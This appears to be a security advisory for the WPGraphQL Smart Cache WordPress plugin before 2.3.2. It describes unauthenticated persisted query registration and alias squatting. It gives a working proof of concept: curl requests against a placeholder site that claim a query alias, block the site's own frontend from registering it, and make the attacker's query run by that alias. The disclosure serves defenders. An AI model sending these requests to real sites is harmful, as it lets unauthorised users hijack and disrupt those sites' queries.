WPGraphQL Smart Cache < 2.3.2 – Unauthenticated Persisted Query Registration and Alias Squatting | CVE 2026-92099

Description

The plugin does not require authorisation or validate a caller-supplied query identifier before storing a persisted query from a request, allowing unauthenticated users to publish arbitrary query documents and claim query aliases before a site's own frontend registers them.

Proof of Concept

Prerequisites: WPGraphQL active (it is a hard dependency of WPGraphQL Smart Cache). Default settings, no configuration change, no account. The endpoint is /graphql.

1. As an unauthenticated visitor, claim an alias the site's headless frontend intends to use:

curl -s -X POST https://victim.example/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }","queryId":"homepage-posts"}'

Expected result: HTTP 200 with an ordinary GraphQL payload. A query document is now stored with a published status and no author, and the alias "homepage-posts" is registered to it.

2. The site's own frontend can no longer register its query under that alias:

curl -s -X POST https://victim.example/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ posts { nodes { title } } }","queryId":"homepage-posts"}'

Expected result:

{"errors":[{"message":"This queryId has already been associated with another query \"A Persisted Query\""}]}

3. Any client executing by that alias now runs the attacker's document:

curl -s -X POST https://victim.example/graphql \
  -H "Content-Type: application/json" \
  -d '{"queryId":"homepage-posts"}'

Expected result: {"data":{"__typename":"RootQuery"}}

The same request works as a GET with the parameters in the query string, and it still stores the document when the plugin's strictest access-control setting is used to refuse execution.